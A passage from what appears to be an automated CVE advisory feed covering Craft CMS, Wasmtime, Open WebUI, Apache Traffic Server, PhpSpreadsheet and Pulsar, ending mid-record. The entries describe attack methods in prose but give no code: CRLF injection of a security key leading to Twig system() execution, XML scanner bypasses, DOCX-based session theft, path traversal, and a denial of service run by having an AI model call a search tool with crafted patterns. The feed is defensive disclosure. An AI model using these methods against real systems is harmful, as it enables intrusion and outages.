NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115935&date=2026-10-25
The app/process-api-response-headers action accepts fake Craft API response headers from any authenticated control panel user.



A non-admin user with only accessCp can place newline characters in X-Craft-Plugin-Licenses. Craft passes this value to its .env writer without removing the newlines.



This lets the user insert a new attacker-known CRAFT_SECURITY_KEY into .env. After Craft loads that key, the user can forge a signed login redirect containing a Twig system() callback.



This is different from the previous report. That report reads the existing key through a Twig sandbox bypass. This report replaces the key through fake API headers and CRLF injection. Fixing either source does not fix the other.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Wasmtime is a runtime for WebAssembly.
https://kevwire.com/record/CVE-2026-115893
Wasmtime is a runtime for WebAssembly. (Oct 23, 2026).
Wasmtime is a runtime for WebAssembly. Prior to 36.0.19, 48.0.7, and 49.0.4, the Cranelift compiler backend on aarch64 can compile a Wasm br_table instruction with more than approximately 256,000 targets so that it has an incorrect conditional branch target. The branch can then jump to arbitrary other code at a user-controlled offset, allowing a user-controlled Wasm module to escape the sandbox on aarch64 engines using the default Cranelift backend. This issue is fixed in versions 36.0.19, 48.0.7, and 49.0.4.
CVSS 9.9 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115893).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115893&date=2026-10-25).
Sources:
NVD CVE-2026-115893: https://nvd.nist.gov/vuln/detail/CVE-2026-115893
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115893&date=2026-10-25
Wasmtime is a runtime for WebAssembly. Prior to 36.0.19, 48.0.7, and 49.0.4, the Cranelift compiler backend on aarch64 can compile a Wasm br_table instruction with more than approximately 256,000 targets so that it has an incorrect conditional branch target. The branch can then jump to arbitrary other code at a user-controlled offset, allowing a user-controlled Wasm module to escape the sandbox on aarch64 engines using the default Cranelift backend. This issue is fixed in versions 36.0.19, 48.0.7, and 49.0.4.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### GraphQL Scalars is a library of custom GraphQL scalars for creating precise type-safe GraphQL schemas.
https://kevwire.com/record/CVE-2026-115887
GraphQL Scalars is a library of custom GraphQL scalars for creating precise type-safe GraphQL schemas. (Oct 23, 2026).
GraphQL Scalars is a library of custom GraphQL scalars for creating precise type-safe GraphQL schemas. From 1.24.1 until 2.0.1, GraphQLPhoneNumber in src/scalars/PhoneNumber.ts uses ambiguous nested digit quantifiers that backtrack exponentially when a PhoneNumber value contains a run of digits followed by a character that makes the match fail. GraphQL evaluates parseLiteral during document validation and parseValue during variable coercion before resolver authentication or authorization, so a small unauthenticated request can block the Node.js event loop and stall the server process. serialize is also affected when unvalidated stored values are returned through the scalar. This issue is fixed in version 2.0.1.
CVSS 7.5 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115887).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115887&date=2026-10-25).
Sources:
NVD CVE-2026-115887: https://nvd.nist.gov/vuln/detail/CVE-2026-115887
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115887&date=2026-10-25
GraphQL Scalars is a library of custom GraphQL scalars for creating precise type-safe GraphQL schemas. From 1.24.1 until 2.0.1, GraphQLPhoneNumber in src/scalars/PhoneNumber.ts uses ambiguous nested digit quantifiers that backtrack exponentially when a PhoneNumber value contains a run of digits followed by a character that makes the match fail. GraphQL evaluates parseLiteral during document validation and parseValue during variable coercion before resolver authentication or authorization, so a small unauthenticated request can block the Node.js event loop and stall the server process. serialize is also affected when unvalidated stored values are returned through the scalar. This issue is fixed in version 2.0.1.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A weakness has been identified in oretnom23 php-travel-agency-system. This issue affects some unknown processing of the file admin/update.php.
https://kevwire.com/record/CVE-2026-114441
A weakness has been identified in oretnom23 php-travel-agency-system. This issue affects some unknown processing of the file admin/update.php. (Oct 21, 2026).
A weakness has been identified in oretnom23 php-travel-agency-system. This issue affects some unknown processing of the file admin/update.php. This manipulation of the argument action/full_name/visa_no/hiden/title/description/page_id/user causes sql injection. The attack may be initiated remotely. The exploit has been made available to the public and could be used for attacks. This product uses a rolling release model to deliver continuous updates. As a result, specific version information for affected or updated releases is not available. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 5.5 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114441).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114441&date=2026-10-25).
Sources:
NVD CVE-2026-114441: https://nvd.nist.gov/vuln/detail/CVE-2026-114441
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114441&date=2026-10-25
A weakness has been identified in oretnom23 php-travel-agency-system. This issue affects some unknown processing of the file admin/update.php. This manipulation of the argument action/full_name/visa_no/hiden/title/description/page_id/user causes sql injection. The attack may be initiated remotely. The exploit has been made available to the public and could be used for attacks. This product uses a rolling release model to deliver continuous updates. As a result, specific version information for affected or updated releases is not available. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Apache Traffic Server can crash with a null pointer dereference when a client POST request is torn down via half-close while a chunked origin response is being reparsed from a...
https://kevwire.com/record/CVE-2026-112381
Apache Traffic Server can crash with a null pointer dereference when a client POST request is torn down via half-close while a chunked origin response is being reparsed from a... (Oct 21, 2026).
Apache Traffic Server can crash with a null pointer dereference when a client POST request is torn down via half-close while a chunked origin response is being reparsed from a reentrant write-ready callback, a timing-dependent race introduced by the CVE-2021-32564 flow-control backports.



This issue affects Apache Traffic Server: 9.2.15, 10.1.4, 10.2.0.



Users are recommended to upgrade to version 9.2.16, 10.1.5, or 10.2.1, which fix the issue.
CVSS 8.2 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112381).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112381&date=2026-10-25).
Sources:
NVD CVE-2026-112381: https://nvd.nist.gov/vuln/detail/CVE-2026-112381
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112381&date=2026-10-25
Apache Traffic Server can crash with a null pointer dereference when a client POST request is torn down via half-close while a chunked origin response is being reparsed from a reentrant write-ready callback, a timing-dependent race introduced by the CVE-2021-32564 flow-control backports.



This issue affects Apache Traffic Server: 9.2.15, 10.1.4, 10.2.0.



Users are recommended to upgrade to version 9.2.16, 10.1.5, or 10.2.1, which fix the issue.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Apache Traffic Server 9.2.15, 10.1.4 and 10.2.0 write one unthrottled diagnostic log line for every internal @ header they strip, so a request carrying many such headers makes the...
https://kevwire.com/record/CVE-2026-111810
Apache Traffic Server 9.2.15, 10.1.4 and 10.2.0 write one unthrottled diagnostic log line for every internal @ header they strip, so a request carrying many such headers makes the... (Oct 21, 2026).
Apache Traffic Server 9.2.15, 10.1.4 and 10.2.0 write one unthrottled diagnostic log line for every internal @ header they strip, so a request carrying many such headers makes the proxy write far more log data than the request contains.



This issue affects Apache Traffic Server: 9.2.15, 10.1.4, 10.2.0.



Users are recommended to upgrade to version 9.2.16, 10.1.5, or 10.2.1, which fix the issue.
CVSS 8.7 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111810).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111810&date=2026-10-25).
Sources:
NVD CVE-2026-111810: https://nvd.nist.gov/vuln/detail/CVE-2026-111810
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111810&date=2026-10-25
Apache Traffic Server 9.2.15, 10.1.4 and 10.2.0 write one unthrottled diagnostic log line for every internal @ header they strip, so a request carrying many such headers makes the proxy write far more log data than the request contains.



This issue affects Apache Traffic Server: 9.2.15, 10.1.4, 10.2.0.



Users are recommended to upgrade to version 9.2.16, 10.1.5, or 10.2.1, which fix the issue.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Apache Traffic Server can be used to exhaust an HTTP/1.1 origin's worker pool via a malformed padded HTTP/2 DATA frame.
https://kevwire.com/record/CVE-2026-111808
Apache Traffic Server can be used to exhaust an HTTP/1.1 origin's worker pool via a malformed padded HTTP/2 DATA frame. (Oct 21, 2026).
Apache Traffic Server can be used to exhaust an HTTP/1.1 origin's worker pool via a malformed padded HTTP/2 DATA frame.



This issue affects Apache Traffic Server: from 8.0.0 through 8.1.11, from 9.0.0 through 9.2.15, from 10.0.0 through 10.1.4, 10.2.0.



Users are recommended to upgrade to version 9.2.16, 10.1.5, or 10.2.1, which fix the issue.
CVSS 7.7 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111808).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111808&date=2026-10-25).
Sources:
NVD CVE-2026-111808: https://nvd.nist.gov/vuln/detail/CVE-2026-111808
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111808&date=2026-10-25
Apache Traffic Server can be used to exhaust an HTTP/1.1 origin's worker pool via a malformed padded HTTP/2 DATA frame.



This issue affects Apache Traffic Server: from 8.0.0 through 8.1.11, from 9.0.0 through 9.2.15, from 10.0.0 through 10.1.4, 10.2.0.



Users are recommended to upgrade to version 9.2.16, 10.1.5, or 10.2.1, which fix the issue.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Apache Traffic Server can be used to exhaust an HTTP/1.1 origin's worker pool via a truncated HTTP/2 Content-Length value.
https://kevwire.com/record/CVE-2026-111805
Apache Traffic Server can be used to exhaust an HTTP/1.1 origin's worker pool via a truncated HTTP/2 Content-Length value. (Oct 21, 2026).
Apache Traffic Server can be used to exhaust an HTTP/1.1 origin's worker pool via a truncated HTTP/2 Content-Length value.



This issue affects Apache Traffic Server: from 8.0.0 through 8.1.11, from 9.0.0 through 9.2.15, from 10.0.0 through 10.1.4, 10.2.0.



Users are recommended to upgrade to version 9.2.16, 10.1.5, or 10.2.1, which fix the issue.
CVSS 7.7 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111805).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111805&date=2026-10-25).
Sources:
NVD CVE-2026-111805: https://nvd.nist.gov/vuln/detail/CVE-2026-111805
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111805&date=2026-10-25
Apache Traffic Server can be used to exhaust an HTTP/1.1 origin's worker pool via a truncated HTTP/2 Content-Length value.



This issue affects Apache Traffic Server: from 8.0.0 through 8.1.11, from 9.0.0 through 9.2.15, from 10.0.0 through 10.1.4, 10.2.0.



Users are recommended to upgrade to version 9.2.16, 10.1.5, or 10.2.1, which fix the issue.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Apache Traffic Server's experimental wasm plugin has a use-after-free in its transaction-close handler and forwards unvalidated guest-supplied metric IDs to the internal stats API.
https://kevwire.com/record/CVE-2026-111804
Apache Traffic Server's experimental wasm plugin has a use-after-free in its transaction-close handler and forwards unvalidated guest-supplied metric IDs to the internal stats API. (Oct 21, 2026).
Apache Traffic Server's experimental wasm plugin has a use-after-free in its transaction-close handler and forwards unvalidated guest-supplied metric IDs to the internal stats API.



This issue affects Apache Traffic Server: from 10.0.0 through 10.1.4, 10.2.0.



Users are recommended to upgrade to version 10.1.5 or 10.2.1, which fix the issue.
CVSS 8.8 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111804).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111804&date=2026-10-25).
Sources:
NVD CVE-2026-111804: https://nvd.nist.gov/vuln/detail/CVE-2026-111804
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111804&date=2026-10-25
Apache Traffic Server's experimental wasm plugin has a use-after-free in its transaction-close handler and forwards unvalidated guest-supplied metric IDs to the internal stats API.



This issue affects Apache Traffic Server: from 10.0.0 through 10.1.4, 10.2.0.



Users are recommended to upgrade to version 10.1.5 or 10.2.1, which fix the issue.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Open WebUI from 0.9.0 before 0.11.4 contains a denial of service vulnerability that allows authenticated users with automations permission to stall the instance by submitting...
https://kevwire.com/record/CVE-2026-109299
Open WebUI from 0.9.0 before 0.11.4 contains a denial of service vulnerability that allows authenticated users with automations permission to stall the instance by submitting... (Oct 12, 2026).
Open WebUI from 0.9.0 before 0.11.4 contains a denial of service vulnerability that allows authenticated users with automations permission to stall the instance by submitting unsatisfiable recurrence rules. Attackers can repeatedly send rules like February 30th to the automations create or update endpoints, blocking the shared event loop for seconds per request.
CVSS 7.1 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109299).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109299&date=2026-10-25).
Sources:
NVD CVE-2026-109299: https://nvd.nist.gov/vuln/detail/CVE-2026-109299
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109299&date=2026-10-25
Open WebUI from 0.9.0 before 0.11.4 contains a denial of service vulnerability that allows authenticated users with automations permission to stall the instance by submitting unsatisfiable recurrence rules. Attackers can repeatedly send rules like February 30th to the automations create or update endpoints, blocking the shared event loop for seconds per request.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Open WebUI 0.11.0 before 0.11.4 compiles user-chosen grep patterns for its knowledge and chat file search tools with a regex engine that expands nested counted repetition...
https://kevwire.com/record/CVE-2026-109298
Open WebUI 0.11.0 before 0.11.4 compiles user-chosen grep patterns for its knowledge and chat file search tools with a regex engine that expands nested counted repetition... (Oct 12, 2026).
Open WebUI 0.11.0 before 0.11.4 compiles user-chosen grep patterns for its knowledge and chat file search tools with a regex engine that expands nested counted repetition unbounded at compile time and caches the result. Authenticated users can have the model call grep_knowledge_files with short nested-repetition patterns, blocking the event loop and exhausting worker memory.
CVSS 7.1 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109298).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109298&date=2026-10-25).
Sources:
NVD CVE-2026-109298: https://nvd.nist.gov/vuln/detail/CVE-2026-109298
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109298&date=2026-10-25
Open WebUI 0.11.0 before 0.11.4 compiles user-chosen grep patterns for its knowledge and chat file search tools with a regex engine that expands nested counted repetition unbounded at compile time and caches the result. Authenticated users can have the model call grep_knowledge_files with short nested-repetition patterns, blocking the event loop and exhausting worker memory.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Open WebUI 0.11.0 before 0.11.4 contains a denial of service vulnerability in the automation recurrence-rule validator, whose sub-daily frequency guard parses rule text more...
https://kevwire.com/record/CVE-2026-109297
Open WebUI 0.11.0 before 0.11.4 contains a denial of service vulnerability in the automation recurrence-rule validator, whose sub-daily frequency guard parses rule text more... (Oct 12, 2026).
Open WebUI 0.11.0 before 0.11.4 contains a denial of service vulnerability in the automation recurrence-rule validator, whose sub-daily frequency guard parses rule text more strictly than the calendar library that executes it. Users permitted to create automations can submit whitespace-folded rules (or, in 0.11.0, lowercase frequencies or omitted RRULE prefixes) that expand per-second synchronously, blocking the shared event loop for minutes per request and on every scheduler poll.
CVSS 7.1 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109297).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109297&date=2026-10-25).
Sources:
NVD CVE-2026-109297: https://nvd.nist.gov/vuln/detail/CVE-2026-109297
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109297&date=2026-10-25
Open WebUI 0.11.0 before 0.11.4 contains a denial of service vulnerability in the automation recurrence-rule validator, whose sub-daily frequency guard parses rule text more strictly than the calendar library that executes it. Users permitted to create automations can submit whitespace-folded rules (or, in 0.11.0, lowercase frequencies or omitted RRULE prefixes) that expand per-second synchronously, blocking the shared event loop for minutes per request and on every scheduler poll.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Open WebUI from 0.6.42 before 0.11.4 contains an uncontrolled resource consumption vulnerability that allows authenticated users to exhaust server memory by supplying compressed...
https://kevwire.com/record/CVE-2026-109294
Open WebUI from 0.6.42 before 0.11.4 contains an uncontrolled resource consumption vulnerability that allows authenticated users to exhaust server memory by supplying compressed... (Oct 12, 2026).
Open WebUI from 0.6.42 before 0.11.4 contains an uncontrolled resource consumption vulnerability that allows authenticated users to exhaust server memory by supplying compressed remote image URLs in chat messages. Attackers can point the image field at a host returning gzip-encoded responses, which get_image_base64_from_url decompresses unbounded, causing denial of service for all users.
CVSS 7.1 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109294).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109294&date=2026-10-25).
Sources:
NVD CVE-2026-109294: https://nvd.nist.gov/vuln/detail/CVE-2026-109294
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109294&date=2026-10-25
Open WebUI from 0.6.42 before 0.11.4 contains an uncontrolled resource consumption vulnerability that allows authenticated users to exhaust server memory by supplying compressed remote image URLs in chat messages. Attackers can point the image field at a host returning gzip-encoded responses, which get_image_base64_from_url decompresses unbounded, causing denial of service for all users.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Open WebUI from 0.11.1 before 0.11.4 contains a stored cross-site scripting vulnerability in DocxPreview.svelte that allows authenticated users to execute script by uploading...
https://kevwire.com/record/CVE-2026-109290
Open WebUI from 0.11.1 before 0.11.4 contains a stored cross-site scripting vulnerability in DocxPreview.svelte that allows authenticated users to execute script by uploading... (Oct 12, 2026).
Open WebUI from 0.11.1 before 0.11.4 contains a stored cross-site scripting vulnerability in DocxPreview.svelte that allows authenticated users to execute script by uploading crafted DOCX attachments. Attackers can embed an OOXML altChunk HTML part or script-scheme hyperlink to steal a previewing administrator's session token from local storage and take over the instance.
CVSS 8.4 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109290).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109290&date=2026-10-25).
Sources:
NVD CVE-2026-109290: https://nvd.nist.gov/vuln/detail/CVE-2026-109290
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109290&date=2026-10-25
Open WebUI from 0.11.1 before 0.11.4 contains a stored cross-site scripting vulnerability in DocxPreview.svelte that allows authenticated users to execute script by uploading crafted DOCX attachments. Attackers can embed an OOXML altChunk HTML part or script-scheme hyperlink to steal a previewing administrator's session token from local storage and take over the instance.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files.
https://kevwire.com/record/CVE-2026-108358
PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. (Oct 22, 2026).
PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. Prior to 1.30.7, 2.1.19, 2.4.8, 3.10.8, and 5.10.0, XmlScanner::scan in src/PhpSpreadsheet/Reader/Security/XmlScanner.php uses a DOCTYPE detection pattern that accounts for NUL-byte interleaving but not ISO-2022 escape sequences in XLSX XML parts. The escape sequences prevent the scanner from matching the declaration, and XML charset normalization then removes the escape bytes before parsing, exposing a valid DOCTYPE and entity definitions. Processing an attacker-controlled XLSX can therefore cause entity-expansion denial of service on supported PHP versions and can permit local file access or SSRF on PHP before 8.0 or when LIBXML_NOENT is enabled. This issue is fixed in versions 1.30.7, 2.1.19, 2.4.8, 3.10.8, and 5.10.0.
CVSS 8.8 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108358).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108358&date=2026-10-25).
Sources:
NVD CVE-2026-108358: https://nvd.nist.gov/vuln/detail/CVE-2026-108358
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108358&date=2026-10-25
PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. Prior to 1.30.7, 2.1.19, 2.4.8, 3.10.8, and 5.10.0, XmlScanner::scan in src/PhpSpreadsheet/Reader/Security/XmlScanner.php uses a DOCTYPE detection pattern that accounts for NUL-byte interleaving but not ISO-2022 escape sequences in XLSX XML parts. The escape sequences prevent the scanner from matching the declaration, and XML charset normalization then removes the escape bytes before parsing, exposing a valid DOCTYPE and entity definitions. Processing an attacker-controlled XLSX can therefore cause entity-expansion denial of service on supported PHP versions and can permit local file access or SSRF on PHP before 8.0 or when LIBXML_NOENT is enabled. This issue is fixed in versions 1.30.7, 2.1.19, 2.4.8, 3.10.8, and 5.10.0.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files.
https://kevwire.com/record/CVE-2026-108357
PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. (Oct 22, 2026).
PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. From 3.3.0 until 3.10.8 and 5.10.0, Reader\Xml passes stored SpreadsheetML XML through XmlScanner::scan in Xml::canRead and Xml::trySimpleXMLLoadStringPrivate, while Xml::unentity decodes numeric entities only after each DOCTYPE pattern check. A double-encoded less-than character is reduced by the first callback to another encoded character and by the second callback to a literal less-than sign, so SimpleXML receives an unchecked DOCTYPE and entity declaration. Processing attacker-controlled SpreadsheetML XML can cause entity-expansion denial of service and can permit local file access or SSRF on PHP before 8.0 or when LIBXML_NOENT is enabled. This issue is fixed in versions 3.10.8 and 5.10.0.
CVSS 8.8 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108357).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108357&date=2026-10-25).
Sources:
NVD CVE-2026-108357: https://nvd.nist.gov/vuln/detail/CVE-2026-108357
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108357&date=2026-10-25
PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. From 3.3.0 until 3.10.8 and 5.10.0, Reader\Xml passes stored SpreadsheetML XML through XmlScanner::scan in Xml::canRead and Xml::trySimpleXMLLoadStringPrivate, while Xml::unentity decodes numeric entities only after each DOCTYPE pattern check. A double-encoded less-than character is reduced by the first callback to another encoded character and by the second callback to a literal less-than sign, so SimpleXML receives an unchecked DOCTYPE and entity declaration. Processing attacker-controlled SpreadsheetML XML can cause entity-expansion denial of service and can permit local file access or SSRF on PHP before 8.0 or when LIBXML_NOENT is enabled. This issue is fixed in versions 3.10.8 and 5.10.0.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Pulsar Packages Management Service can be configured to store packages on the local filesystem of the broker by using the filesystem storage provider.
https://kevwire.com/record/CVE-2026-105945
The Pulsar Packages Management Service can be configured to store packages on the local filesystem of the broker by using the filesystem storage provider. (Oct 21, 2026).
The Pulsar Packages Management Service can be configured to store packages on the local filesystem of the broker by using the filesystem storage provider. Package names consist of a type, tenant, namespace, name and version. Authorization of package operations is based only on the tenant and namespace, while the storage location of a package is derived from all of these components. The version component of a package name was not validated, so it could contain URL-encoded path separators and parent directory references. The filesystem storage provider resolved such a version to a location belonging to a package in a different tenant or namespace. Because that location is inside the configured storage directory, the containment check that the filesystem storage provider performs in recent releases did not prevent the access.

An authenticated user who has the packages permission on any namespace could use this to download, overwrite or delete packages stored in other tenants or namespaces for which the user has no permission. Packages overwritten or deleted in this way may be used by Pulsar Functions, Sources or Sinks, so the issue can affect the integrity and availability of these components. If authentication is disabled, the operations are available to any client that can reach the broker's admin REST API.

